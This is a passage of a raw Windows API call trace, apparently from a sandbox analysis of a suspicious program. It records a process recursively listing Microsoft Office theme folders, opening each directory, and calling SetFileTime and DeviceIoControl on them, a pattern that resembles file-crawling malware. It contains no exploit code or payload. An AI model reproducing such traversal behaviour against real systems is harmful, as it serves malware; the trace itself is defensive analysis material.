ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.224] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.224] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefec88 [0055.224] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00600 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeffe10 [0055.224] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.224] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.224] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.224] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00620 [0055.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefff18 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8c0) returned 0xef8cd8 [0055.225] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf00b28) returned 1 [0055.225] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.225] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.225] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.225] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00640 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf00020 [0055.225] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.225] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.225] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.225] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00660 [0055.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf00128 [0055.225] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.225] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.225] GetLastError () returned 0x12 [0055.226] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.226] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.226] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.226] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.226] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0055.226] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0055.226] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.226] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.226] GetLastError () returned 0x12 [0055.226] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefeb80) returned 1 [0055.226] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.226] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefec88) returned 1 [0055.226] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.226] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0055.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.226] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.227] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf00b28 [0055.227] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf00b28, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf00b28, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.227] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf00b28) returned 1 [0055.227] NtClose (Handle=0x17c) returned 0x0 [0055.227] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.227] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.227] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.227] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.227] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.227] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.228] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00680 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefec88 [0055.228] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.228] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.228] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.228] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf006a0 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefeb80 [0055.228] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.228] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.228] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.228] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf006c0 [0055.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefbf18 [0055.228] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.229] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.229] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.229] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf006e0 [0055.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf00b40 [0055.229] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.229] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.229] GetLastError () returned 0x12 [0055.229] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.229] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.229] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.229] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.229] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0055.229] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0055.229] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.229] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.229] GetLastError () returned 0x12 [0055.229] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.230] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.230] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.230] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.230] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0055.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.230] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.244] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf02b28 [0055.244] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf02b28, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf02b28, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf02b28) returned 1 [0055.244] NtClose (Handle=0x170) returned 0x0 [0055.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.244] RtlAllocateHeap 